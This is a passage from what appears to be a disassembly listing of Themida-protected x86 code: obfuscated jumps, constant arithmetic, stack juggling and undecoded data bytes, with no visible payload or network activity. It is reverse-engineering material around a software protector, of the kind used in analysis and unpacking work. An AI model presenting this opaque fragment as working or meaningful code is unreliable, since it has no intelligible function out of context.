0EFA3EB2h sub ebp, ecx add ebp, 0EFA3EB2h pop ecx pop ecx jmp loc_54D58A ; --------------------------------------------------------------------------- dw 0D4F6h dd 5866E288h, 0FF966AE9h, 24B4B9FFh, 0E9811243h, 0F4ACD61Dh dd 0FFF723E9h, 24048BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_549AC8 ; --------------------------------------------------------------------------- dw 0EAC1h dd 0F1E28102h, 8139661Eh, 1EAh, 0EEA8100h, 0E9000014h dd 0FFFF996Dh ; --------------------------------------------------------------------------- loc_54E9C4: ; CODE XREF: Themida_:00548396j pop ebp jmp loc_54F0D5 ; --------------------------------------------------------------------------- dw 815Eh dd 4C5h, 242C8700h, 0B6BFE95Ch, 5FE9FFFFh, 59FFFF76h, 0FF9EBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E9E5: ; CODE XREF: Themida_:0054E41Cj add ebx, 0DCE2A51h add ebx, esi push edx mov edx, 0DCE2A51h sub ebx, edx pop edx pop esi add ebx, 9097185Ch jmp loc_549215 ; --------------------------------------------------------------------------- dw 0EF01h dd 7293C781h, 0C78102D2h, 7AF7498Dh, 2C7835Dh, 8B243C87h dd 0BCE92424h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA1F: ; CODE XREF: Themida_:0054BF9Fj add esi, 4 add esi, 4 jmp loc_54713A ; --------------------------------------------------------------------------- dd 51CF02Dh, 242C8B58h, 4C481h, 68500000h, 1DAE0E0Dh, 0F3D9E958h dd 0C683FFFFh, 0FFC68101h, 81FFFFFFh, 8EB263F6h, 7BE9A6h dd 0BF570000h, 195D7880h, 60F4BD55h, 0C58134B3h, 1B666F1Ch dd 0C581DDF7h, 785872C0h, 0ED814D4Dh, 283EA2ADh, 525DEF29h dd 2F53EB68h, 150CE96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EA8E: ; CODE XREF: Themida_:0054A965j sub edi, ebx pop ebx push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_552309 ; --------------------------------------------------------------------------- dw 14BBh dd 2919CA39h, 882CE9DAh, 558FFFFh, 4, 46857h, 3C8B0000h dd 5F545724h, 4C781h, 0C7810000h, 4, 5C243C87h, 3C8BF801h dd 4C48324h, 2D63E9h, 8BF50100h, 0C4832434h, 2C58304h dd 0FFBEF6E9h, 2C8151FFh, 3F8724h, 0C5815D49h, 49003F87h dd 5DE80159h, 0FF8031E9h, 5AD629FFh, 516AEE81h, 0D6010834h dd 516AC681h, 0C6810834h, 690B01FEh, 2434875Ah, 6624248Bh dd 0DFE9E1F7h, 5FFFFFDEh, 5558C501h, 1EDBF57h, 7C0165ACh dd 0E95F0424h, 0FFFFE313h, 8704C183h, 0FF5C240Ch, 9BE92434h dd 28FFFFF8h, 65C380C3h, 83D3C380h, 0C8904ECh, 74B35324h dd 805BDD88h, 0D5F612C5h, 0FFF794E9h, 242C89FFh, 7FE9E589h dd 0F7FFFFE4h, 0F7D987D9h, 81D987D3h, 0B76167E9h, 1B20E901h dd 0CD010000h, 0E92434FFh, 0FFFFED9Eh, 0BD5557ADh, 72722B94h dd 15DEF89h, 243C8BF8h, 4C481h, 0CFE90000h, 6800001Eh dd 622Dh, 0B4DE9h, 0B1C38100h, 0E92C931Eh, 1EF2h, 83241C8Bh dd 73E904C4h, 59FFFF74h, 4B850h, 0E9810000h, 64DF10DAh dd 2EE9C101h, 5CFFFFDCh, 0FFA1A7E9h, 0C8B66FFh, 10476824h dd 88E90000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EBF3: ; CODE XREF: Themida_:005470A3j mov [esp], cx jmp loc_548D37 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFF7701h, 240C8B66h, 4EC81h, 0C890000h dd 50E18924h, 5C20D9B8h, 7CE5E913h, 0EB83FFFFh, 241C3304h dd 33241C31h, 248B241Ch, 24348924h, 0C681E689h, 4, 3304C683h dd 0FBE92434h, 51FFFFE1h, 0C3274FB9h, 0E9D9F761h, 0FFFFB436h dd 68BE9ACh, 0D8290000h, 243C8B5Bh, 4C481h, 0C1010000h dd 8324048Bh, 0EE904C4h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC6F: ; CODE XREF: Themida_:00549EB1j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5497D7 ; --------------------------------------------------------------------------- loc_54EC81: ; CODE XREF: Themida_:0054B977j mov bh, 1Dh sub bh, dh mov edx, [esp] add esp, 4 add al, bh pop ebx add al, bl jmp loc_54891E ; --------------------------------------------------------------------------- dd 30FFC331h, 0FF739DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54ECA1: ; CODE XREF: Themida_:00551ED6j mov [esp], ecx mov ecx, 26B12B8Fh push edi mov edi, 5B3E3E26h add ecx, edi pop edi sub ecx, 81EF69B1h add edx, 18B243D7h add edx, ecx sub edx, 18B243D7h pop ecx xchg edx, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] push edx mov edx, esp jmp loc_54CD38 ; --------------------------------------------------------------------------- db 57h dd 0FFC9B5E9h, 5AD789FFh, 0FFE56EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54ECE9: ; CODE XREF: Themida_:00551F2Ej xchg esi, ecx push eax push ecx mov eax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 jmp loc_54A68B ; --------------------------------------------------------------------------- loc_54ED0C: ; CODE XREF: Themida_:00548D32j push edi xor dword ptr [esp], 548D4B47h pop ebx xor ebx, 548D4B47h mov edi, [esp] add esp, 4 and eax, ebx push dword ptr [esp] pop ebx push 12E3h mov [esp], ecx mov ecx, esp jmp loc_5507F6 ; --------------------------------------------------------------------------- loc_54ED36: ; CODE XREF: Themida_:00547A9Fj add ecx, 4 jmp loc_550C8E ; --------------------------------------------------------------------------- loc_54ED41: ; CODE XREF: Themida_:00547822j pop ebp and ebp, 1946113h jmp loc_54A3AB ; --------------------------------------------------------------------------- db 0BDh, 0F9h, 15h dd 4CE906A0h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED57: ; CODE XREF: Themida_:00547CC9j mov [esp], ebp sub esp, 4 mov [esp], eax mov eax, 2055525Fh jmp loc_54C94A ; --------------------------------------------------------------------------- dd offset dword_5BDA88 dw 66D3h dd 8124148Bh, 2C4h, 8257E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED7E: ; CODE XREF: Themida_:0054946Aj sub edi, 4741289Bh pop ebp push 700Ah mov [esp], esi push edx mov edx, 551B0766h jmp loc_54B5D4 ; --------------------------------------------------------------------------- dd 3841C581h, 0E901059Eh, 240C875Dh, 25E4E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EDAA: ; CODE XREF: Themida_:0054828Bj add ebx, 71F328D9h sub ebx, 485F0767h add ebx, edi add ebx, 485F0767h jmp loc_54C13F ; --------------------------------------------------------------------------- loc_54EDC3: ; CODE XREF: Themida_:0054B7DEj xchg edi, [esp] pop esp push ebx jmp loc_5486F5 ; --------------------------------------------------------------------------- loc_54EDCD: ; CODE XREF: Themida_:0054E298j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54603E ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 51F58924h, 0FFC195E9h, 75E95EFFh db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDFB: ; CODE XREF: Themida_:0054D819j add edx, ecx pop ecx xchg edx, [esp] pop esp add ecx, 4 push esi mov esi, 2 jmp loc_5512E8 ; --------------------------------------------------------------------------- db 29h dd 0CB295DE9h, 7263E959h, 532CFFFFh, 0C7282B04h, 28982C58h dd 0E99804F8h, 0FFFF94FBh, 2454015Dh, 24148B04h, 0FF04C483h dd 815F2434h, 4C4h, 4C78100h, 68000000h, 7C77h, 0BE243489h dd 2, 96E9F729h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE5F: ; CODE XREF: Themida_:00546DF9j mov [esp], esi push ecx push 59B5C7Bh pop ecx push 69BBh mov [esp], eax push 78FB04D6h jmp loc_5472AA ; --------------------------------------------------------------------------- db 81h dd 4C6h, 0B067E900h, 2D40FFFFh, 695568E7h, 12E9C201h, 81000020h dd 9A2150E1h, 0FCE98167h, 164101Fh, 0C68159CEh, 4, 5C243487h dd 8904EC83h, 5E542434h, 4C681h, 0C6810000h, 4, 0FFE928E9h dd 0F0005AFFh, 490B353h, 2CD828A0h, 0E5E95BA0h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EED7: ; CODE XREF: Themida_:0054A77Ej add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx add dword ptr [esp], 2767240Ch push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp jmp loc_54DA2A ; --------------------------------------------------------------------------- db 81h dd 865C79E3h, 81D3F767h, 981442C3h, 74FFE90Eh, 8B66FFFFh dd 8950240Ch, 5C6868E0h, 2C890000h, 79A96824h, 2C8B2440h dd 0C5DCE924h, 5604FFFFh, 0B3E94804h, 28000021h, 86B151C3h dd 0FE85B252h, 0ADCA80CAh, 0E91FEA80h, 0FFFFCD83h, 241CF766h dd 70E8E99Ch, 0E7B7FFFFh, 285BFC88h, 0C18058E6h, 80F10065h dd 805A65E9h, 0E9C0B3F1h, 7E9C006h, 28AEF180h, 0B7E959C8h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EF7B: ; CODE XREF: Themida_:0054B7D0j add ebp, edi push dword ptr [esp] jmp loc_547D6E ; --------------------------------------------------------------------------- loc_54EF85: ; CODE XREF: Themida_:0054C912j add esp, 4 jmp loc_54FACD ; --------------------------------------------------------------------------- dd 0FF70A9E9h, 0E955B4FFh, 19C5h, 0E9242C8Bh, 0FFFFCE79h dd 5286F780h, 8850FE88h, 0E9E588F4h, 0FFFF9928h, 0E9243489h dd 0FFFF77C0h ; --------------------------------------------------------------------------- loc_54EFBC: ; CODE XREF: Themida_:0054F222j push dword ptr [esp] jmp loc_54E3AB ; --------------------------------------------------------------------------- dd 8B2434FFh, 54572404h, 81243C8Bh, 4C4h, 79E95100h, 81FFFF75h dd 4C4h, 2C28300h, 2474FF52h, 48F5A04h, 24248B24h, 0FFEDEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EFF5: ; CODE XREF: Themida_:005502F1j add esp, 4 shr eax, 0Bh xor ecx, eax push 77ADh mov [esp], ebp mov ebp, ebx push 1F59h mov [esp], ebp push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] mov ebp, [esp] jmp loc_5462AB ; --------------------------------------------------------------------------- dd 648E955h, 0C8B0000h, 0CCBAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F04E: ; CODE XREF: Themida_:00550EA0j push dword ptr [esp] pop eax push ebx push esp pop ebx add ebx, 4 push 5DF1h mov [esp], ecx mov ecx, 4 add ebx, 17CA176Bh add ebx, ecx sub ebx, 17CA176Bh mov ecx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_550D5B ; --------------------------------------------------------------------------- db 80h, 0C3h, 12h dd 0E9C3005Ah, 12D3h, 81665B66h, 661586C1h, 66114C2Dh dd 566C829h, 0C8B114Ch, 4C48124h, 81000000h, 4ECh, 243C8900h dd 6EE5BF66h, 53DFF766h, 4CEDBB66h, 3155E9h db 0 ; --------------------------------------------------------------------------- loc_54F0D5: ; CODE XREF: Themida_:0054E9C5j xchg ebx, [esp] pop esp jmp loc_54F3B9 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 0FF525DEAh, 8B042474h, 0E9562414h, 0FFFFCC4Ch ; --------------------------------------------------------------------------- loc_54F0F4: ; CODE XREF: Themida_:00549C00j sub esi, 6F8D6278h sub esi, 14F24114h pop edi add eax, 77414042h add eax, esi jmp loc_54C720 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 6624248Bh, 9C2424D3h, 0FF6F21E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F11D: ; CODE XREF: Themida_:0054F7EEj push eax jmp loc_54F791 ; --------------------------------------------------------------------------- db 1 aHC db 'ê]h¶c',0 dw 8900h dd 2BB241Ch, 0E9000000h, 241h, 0E9241C8Bh, 0FFFFF167h dd 5799CB81h, 0F3815C87h, 0FCEFDFBBh, 1C8BDA01h, 4C48124h dd 83000000h, 148704C2h, 4295C24h, 0DEE99C24h, 0F7FFFFB1h dd 2D582414h, 53CC1A68h, 5916CE25h, 8E9FE968h, 34FFFFFFh dd 0EC835824h, 240C8904h, 0C181E189h, 4, 6727B850h, 56517ECEh dd 0AF6D5CBEh, 0C3F68153h, 89389152h, 0F1815EF1h, 342F1434h dd 3BF0BD55h, 0E90154E7h, 0FFE9835Dh, 1FCB68h, 242C8900h dd 0D5E83BDh, 5DE90944h, 0CA5BC181h, 0C82109D0h, 1C0FE9h dd 24048700h, 0FFD0EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F1D9: ; CODE XREF: Themida_:0055230Cj pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_54D76C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 7CFA6824h, 4890000h, 933E924h, 0CF890000h, 0E69CE959h dd 0EE80FFFFh, 0C0D6F682h, 0EE8005EEh, 10CE804Bh, 5398C680h dd 0DD88F388h, 0AE045A5Bh, 78E9E800h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F21F: ; CODE XREF: Themida_:0054FE67j sub [esp], ebx jmp loc_54EFBC ; --------------------------------------------------------------------------- loc_54F227: ; CODE XREF: Themida_:00548D3Bj push cx pushf jmp loc_54603E ; --------------------------------------------------------------------------- db 0FFh dd 0BF573877h, 620C3A9Bh, 4247C31h, 2434FF5Fh, 4C48159h dd 81000000h, 4ECh, 7AACE900h, 0E068FFFFh, 89000045h, 9BB62414h dd 8904EC83h, 61E92414h, 89000004h, 0B47BE9E0h, 0C501FFFFh dd 0E924048Bh, 2DF1h, 0C15FFD21h, 4DE906E5h, 87FFFFAAh dd 895C240Ch, 24348BF7h, 0FFAD4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F291: ; CODE XREF: Themida_:00551FFBj push eax push 38737A06h pop eax xor eax, 489F596Dh or eax, 16744417h shl eax, 3 sub eax, 47853635h shr eax, 2 jmp loc_548360 ; --------------------------------------------------------------------------- dw 6853h dd 2B1003E0h, 0EFC3815Bh, 12BC10Dh, 0CF295BDFh, 11CFEF81h dd 0E95956D1h, 0FFFF9224h, 31243C33h, 3C33243Ch, 24248B24h dd 0FF6D5DE9h, 0B35352FFh, 0B65251F2h, 0E96EB1BCh, 0FFFFA3E1h dd 22BBBA66h, 0E9D32966h, 0FFFFE8E3h, 8AE9D388h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F303: ; CODE XREF: Themida_:005486F0j xor ebp, 28872EB1h jmp loc_54CF18 ; --------------------------------------------------------------------------- dw 0DAF7h dd 0FFF01FE9h, 81E389FFh, 4C3h, 4C38300h, 5C241C87h, 580E9D05h dd 8CB9E93Ch, 0BF57FFFFh, 10972AAFh, 0FF6EF7E9h, 5FCE68FFh dd 1C890000h, 0E0895024h, 573BBB53h, 0E3C140F1h, 0C4CB8105h dd 0E9056C5Eh, 0FFFFDC6Dh ; --------------------------------------------------------------------------- loc_54F358: ; CODE XREF: Themida_:00551710j pop esi add edi, 1 sub edi, 586E0463h add edx, edi pop edi add edx, 9186C1Ah sub edx, 3797335Bh sub edx, eax push edi jmp loc_547E7D ; --------------------------------------------------------------------------- db 53h, 0BBh, 6Eh dd 107AA1Fh, 0DA015BDAh, 1F6EEA81h, 875B07AAh, 665C2414h dd 9C240429h, 0FF6CA5E9h, 0D831ADFFh, 0DFF6E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F3A2: ; CODE XREF: Themida_:0054BD3Bj and dl, 32h sub dl, 61h sub bl, dl jmp loc_54AE84 ; --------------------------------------------------------------------------- db 0D1h dd 3E7C1E7h, 0FF6E9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F3B9: ; CODE XREF: Themida_:0054F0D9j sub esp, 4 mov [esp], ebx jmp loc_54A93E ; --------------------------------------------------------------------------- dd 5A2434FFh, 4EC8157h, 68000000h, 134h, 0E9242489h, 0FFFFD9DEh dd 6624248Bh, 0E924048Bh, 2D9Ch ; --------------------------------------------------------------------------- loc_54F3E8: ; CODE XREF: Themida_:00548F9Fj push 157Ah mov [esp], ebx mov ebx, 6B31C64h shl ebx, 1 or ebx, 5B007D20h xor ebx, 1ABA02AFh jmp loc_54F9A8 ; --------------------------------------------------------------------------- dd 28E9D9F7h, 81FFFFEDh, 4C1h, 4C18100h, 0E9000000h, 7BFh dd 0A349E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F426: ; CODE XREF: Themida_:0054C13Aj mov [esp], ebp mov ebp, 4 sub ebx, 3EDA36C2h add ebx, ebp add ebx, 3EDA36C2h pop ebp xchg ebx, [esp] pop esp jmp loc_54603E ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFF7F7Bh ; --------------------------------------------------------------------------- loc_54F44C: ; CODE XREF: Themida_:005487FCj pop esp or edx, eax shl edx, 1 push 7265h jmp loc_54B3C9 ; --------------------------------------------------------------------------- db 5Ch dd 0BD242C89h, 62E4C37Fh, 10ADBD55h, 0E9555129h, 0FFFFA572h ; --------------------------------------------------------------------------- loc_54F470: ; CODE XREF: Themida_:0054E383j push ebx push 4028233Ah pop ebx add edx, ebx pop ebx push dword ptr [esp] pop ebx jmp loc_550C2C ; --------------------------------------------------------------------------- db 59h dd 5C24048Fh, 0FF92D6E9h, 5BDC88FFh, 0FF78F1E9h, 0CB805AFFh dd 74EB80DAh, 0FF7153E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F4A1: ; CODE XREF: Themida_:00549193j mov esi, esp push eax mov eax, 5A636BD8h shr eax, 6 sub eax, 1698DABh add esi, eax pop eax sub esi, 4 jmp loc_54FFBA ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFEEh, 2CC681FFh, 4E57D334h, 69EE814Eh, 158573Dh dd 3C335EF7h, 8B25E924h, 0C483FFFFh, 4EC8104h, 89000000h dd 0C6BF243Ch, 0E94F5D3Bh, 0FFFF959Eh ; --------------------------------------------------------------------------- loc_54F4F4: ; CODE XREF: Themida_:0054FA4Cj sub esp, 4 jmp loc_547148 ; --------------------------------------------------------------------------- db 1 dd 65E981C1h, 0E92B8E5Eh, 0FFFF6B4Dh, 4EC81h, 14890000h dd 48EFBA24h, 0F74A6653h, 42D2F7D2h, 2790EA81h, 0F2815DF0h dd 863215Bh, 505AD001h, 42474FFh, 24048F58h, 2F71685Ch dd 34890000h, 815E5424h, 4C6h, 4C68100h, 87000000h, 3B5C2434h dd 0E3E99CC8h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F55B: ; CODE XREF: Themida_:005521CDj pop ecx add esp, 4 push 167Bh mov [esp], ebp pop eax mov ebp, [esp] push 6843h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_546DF4 ; --------------------------------------------------------------------------- dd 240CFF66h, 785E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F596: ; CODE XREF: Themida_:00550946j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54FD20 ; --------------------------------------------------------------------------- loc_54F5A2: ; CODE XREF: Themida_:005499F2j add cl, 1 push small 0 add byte ptr [esp], 9Fh sub [esp], cl sub byte ptr [esp], 9Fh jmp loc_548EE8 ; --------------------------------------------------------------------------- loc_54F5B9: ; CODE XREF: Themida_:0054D347j sub ebx, edi pop edi xor ebx, [esp] jmp loc_546426 ; --------------------------------------------------------------------------- dd 15E9DE01h, 81FFFFB6h, 4C1h, 0D2AEE900h, 0C701FFFFh dd 5E95858h, 59000014h, 0D77B1105h, 0DBECE948h, 889FFFFh dd 83240C8Bh, 48B04C4h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 0E9C39D61h, 0FFFF6A2Eh ; --------------------------------------------------------------------------- loc_54F610: ; CODE XREF: Themida_:0054C5F0j sub dword ptr [esp+4], 48E0196Eh sub [esp+4], edi add dword ptr [esp+4], 48E0196Eh pop edi mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi push ecx mov ecx, 723928CEh mov edi, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add eax, edi pop edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push 466D7C69h pop ebx push 0EB6h mov [esp], ecx mov ecx, 6406DCAh not ecx inc ecx xchg edx, ecx xor edx, eax xor eax, edx xor edx, eax not eax xchg eax, edx jmp loc_54748A ; --------------------------------------------------------------------------- dw 9168h dd 5D2AF622h, 8104EDC1h, 152604F5h, 4F82D7Ch, 0E9530C71h dd 0FFFFDDDEh, 0A4DE981h, 0E9C12305h, 0F1814105h, 8392071h dd 0C8BCB31h, 4C48124h, 0E9000000h, 0EFCh, 0B4505166h dd 1279E9E2h, 0F660000h, 5166C8B6h, 6960E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F6DE: ; CODE XREF: Themida_:005462F2j push 4CFF756Eh pop ebx sub ebx, 4CFF756Ah mov eax, ebx jmp loc_54A847 ; --------------------------------------------------------------------------- db 81h, 0CBh, 87h dd 8173D123h, 272C23C3h, 0AF68E967h, 0C89FFFFh, 2474FF24h dd 240C8B04h, 8F04C483h, 248B2404h, 3CD36624h, 4CE99C24h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F71F: ; CODE XREF: Themida_:0054D378j mov edx, 12B014BBh or edx, 41A132C0h push ecx jmp loc_54644A ; --------------------------------------------------------------------------- dd 5908CE81h, 0C6810D0Eh, 6AC45BCFh, 0BD0E9h, 0D8CF8100h dd 8101E229h, 0EA01F6F7h, 0F7814F24h, 289825DAh, 8743DF87h dd 0DB6BE9DFh, 0F280FFFFh, 0FFD030F4h, 815A2434h, 4C4h dd 59B45000h, 0FFBD0EE9h, 58C609FFh, 0E9FFC683h, 0C11h dd 8B24048Fh, 0F662424h, 9C2404B3h, 0FF68ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F791: ; CODE XREF: Themida_:0054F11Ej mov eax, esp add eax, 4 sub eax, 4 jmp loc_54668E ; --------------------------------------------------------------------------- dd 0E924048Bh, 0FFFFB15Dh, 4B30F66h, 8BE99C24h, 0B8FFFF68h dd 6B8D624Ch, 0D08E8C1h, 75413E36h, 4A2A235h, 58C62110h dd 0F3D1EE81h, 0C3811941h, 7B8D72EDh, 0EB81F329h, 7B8D72EDh dd 8324348Bh, 19E904C4h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F7E7: ; CODE XREF: Themida_:005510AAj xchg esi, [esp] pop esp add esp, 4 jmp loc_54F11D ; --------------------------------------------------------------------------- db 2Dh dd 4, 5C240487h, 54241489h, 4C2815Ah, 57000000h, 4BFh dd 5FFA0100h, 0FFA32FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F815: ; CODE XREF: Themida_:00551AF7j push 5AAFh jmp loc_5485A1 ; --------------------------------------------------------------------------- db 58h dd 0FFCDD0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F825: ; CODE XREF: Themida_:0054C145j add ebx, 6477016Eh push dword ptr [ebx] add dword ptr [esp], 19E66687h pop ecx push edi mov edi, 703636D4h jmp loc_551249 ; --------------------------------------------------------------------------- dd 4E49EE81h, 0E9461BD1h, 0FFFF9A9Fh ; --------------------------------------------------------------------------- loc_54F84C: ; CODE XREF: Themida_:0054CFE3j xor dword ptr [esp], 6D213AA0h pop eax xor eax, 6D213AA0h mov ebp, [esp] jmp loc_5474A8 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FF9DE1E9h, 5EF729FFh, 78BF5753h, 81391501h, 0FC1A9BEFh dd 0A92BE933h, 48BFFFFh, 0D5CFE924h, 0CD81FFFFh, 38082D46h dd 1CF3E950h, 0C4810000h, 4, 0FF728BE9h, 3DA0BBFFh, 0D80173CBh dd 29E2685Bh, 3C890000h, 40B95124h, 817A3E56h, 0E3A4BE9h dd 58F18104h, 0C169B60Dh, 0C98108E9h, 41F973E0h, 0EF45E981h dd 23E91084h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8D3: ; CODE XREF: Themida_:00551760j push edx push 73922AEDh jmp loc_54C11A ; --------------------------------------------------------------------------- loc_54F8DE: ; CODE XREF: Themida_:00546EE0j pop edi sub ecx, 4 xchg ecx, [esp] jmp loc_54AB0D ; --------------------------------------------------------------------------- db 28h, 0F7h, 5Ah dd 80ACCF80h, 0F8304DF7h, 8BC2885Bh, 3AE92404h, 81FFFF7Eh dd 0DF5159C6h, 0E9D62967h, 3D6h, 0BCED8145h, 31272E4Ch dd 0CA015DE9h, 241C8B59h, 3304C483h, 14312414h, 24143324h dd 9CC1385Ch, 0FF6709E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F935: ; CODE XREF: Themida_:00550C27j add esp, 4 jmp loc_5507C8 ; --------------------------------------------------------------------------- loc_54F940: ; CODE XREF: Themida_:0054ADABj add esp, 4 add esp, 4 push ecx push esp pop ecx jmp loc_55034B ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 5 dd 8106E6C1h, 0A2756BC6h, 29C381BAh, 29305048h, 29EB81F3h dd 0E9305048h, 1C7Dh, 3005B353h, 0C1805BD9h, 0A9F18062h dd 8059CA88h, 0CAFECAF2h, 0FF8284E9h, 40BE56FFh, 291D6D78h dd 34E95EF7h, 57000006h, 5F117FBFh, 0B3CF812Bh, 0E9174351h dd 0FFFF7CF0h ; --------------------------------------------------------------------------- loc_54F9A8: ; CODE XREF: Themida_:0054F403j push ecx jmp loc_549F8B ; --------------------------------------------------------------------------- loc_54F9AE: ; CODE XREF: Themida_:00548EAAj pop ecx xchg ebp, [esp] mov esp, [esp] shr ecx, 2 push 332h mov [esp], ebp push edi mov edi, ebx push ecx mov ecx, edi push ecx push ebp mov ebp, 1F96FABh add [esp+4], ebp pop ebp pop ebp push ecx jmp loc_54E95B ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 45C243Ch, 2CD80030h, 52510430h, 0FFA226E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F9F1: ; CODE XREF: Themida_:0054E45Cj dec ecx not ecx sub ecx, 96D5D1B6h sub eax, ecx pop ecx push ebx mov ebx, 76D6047Dh jmp loc_5494C9 ; --------------------------------------------------------------------------- dd 0E932FF66h, 5F5h ; --------------------------------------------------------------------------- loc_54FA10: ; CODE XREF: Themida_:00549B92j neg edx shr edx, 4 not edx or edx, 0D7F6544h sub edx, 0D66457B8h or edi, edx pop edx push ecx mov ecx, 80008046h sub edi, 1C131FDAh sub edi, 3C15A58h jmp loc_54A811 ; --------------------------------------------------------------------------- loc_54FA3D: ; CODE XREF: Themida_:0054CF13j push esi mov esi, ebx push esi pop dword ptr [edi+20h] pop esi pop ebx loc_54FA46: ; CODE XREF: Themida_:0054BEBEj ; Themida_:loc_54FE50j push dword ptr [esp] mov ebx, [esp] jmp loc_54F4F4 ; --------------------------------------------------------------------------- db 29h, 0CFh, 0E9h dd 0FFFFDB62h, 240C8B66h, 0FFD4F7E9h, 0C3815BFFh, 4, 8AC68h dd 24148900h, 0A90DE953h, 48BFFFFh, 0E2895224h, 4C281h dd 0C2830000h, 5F956804h, 14890000h, 2474FF24h, 48F5A04h dd 24248B24h, 54B368h, 0C8EDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FAA2: ; CODE XREF: Themida_:0054B5D7j sub edx, 25340EC5h add edx, 35801575h or edx, 1D143937h dec edx add edx, 0C0A8824Ch mov esi, edx jmp loc_54DE99 ; --------------------------------------------------------------------------- dw 0EE81h dd 4517030Ah, 0FFB594E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FACD: ; CODE XREF: Themida_:0054EF8Bj add edi, 4 jmp loc_54A95F ; --------------------------------------------------------------------------- loc_54FAD8: ; CODE XREF: Themida_:0054603Fj xor al, bl push ecx jmp loc_54ABFA ; --------------------------------------------------------------------------- dd 8106EDC1h, 517D6E5h, 0D4E94D0Fh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FAEF: ; CODE XREF: Themida_:0054AE0Cj mov [esp], ecx mov ecx, 2 add edi, ecx jmp loc_547BEF ; --------------------------------------------------------------------------- loc_54FAFE: ; CODE XREF: Themida_:00546610j add edi, ebx pop ebx add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_548870 ; --------------------------------------------------------------------------- dw 0EEC1h dd 0E2C68107h, 5137A359h, 0E20C55B9h, 59CE2913h, 0FFCC96E9h dd 4EC83FFh, 0E9242489h, 0FFFF9159h ; --------------------------------------------------------------------------- loc_54FB34: ; CODE XREF: Themida_:0054A813j add edi, 3C15A58h add edi, 1C131FDAh jmp loc_54931E ; --------------------------------------------------------------------------- db 29h, 0F1h, 81h dd 0D15D27E9h, 33E95E22h, 33FFFFF0h, 0B3E92404h, 0B9FFFF92h dd 4, 5159CD01h, 752ED5B9h, 0D409E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB6E: ; CODE XREF: Themida_:0054CB4Dj mov edx, 4D1A2965h shr edx, 3 inc edx sub edx, 0B7052AE8h jmp loc_548591 ; 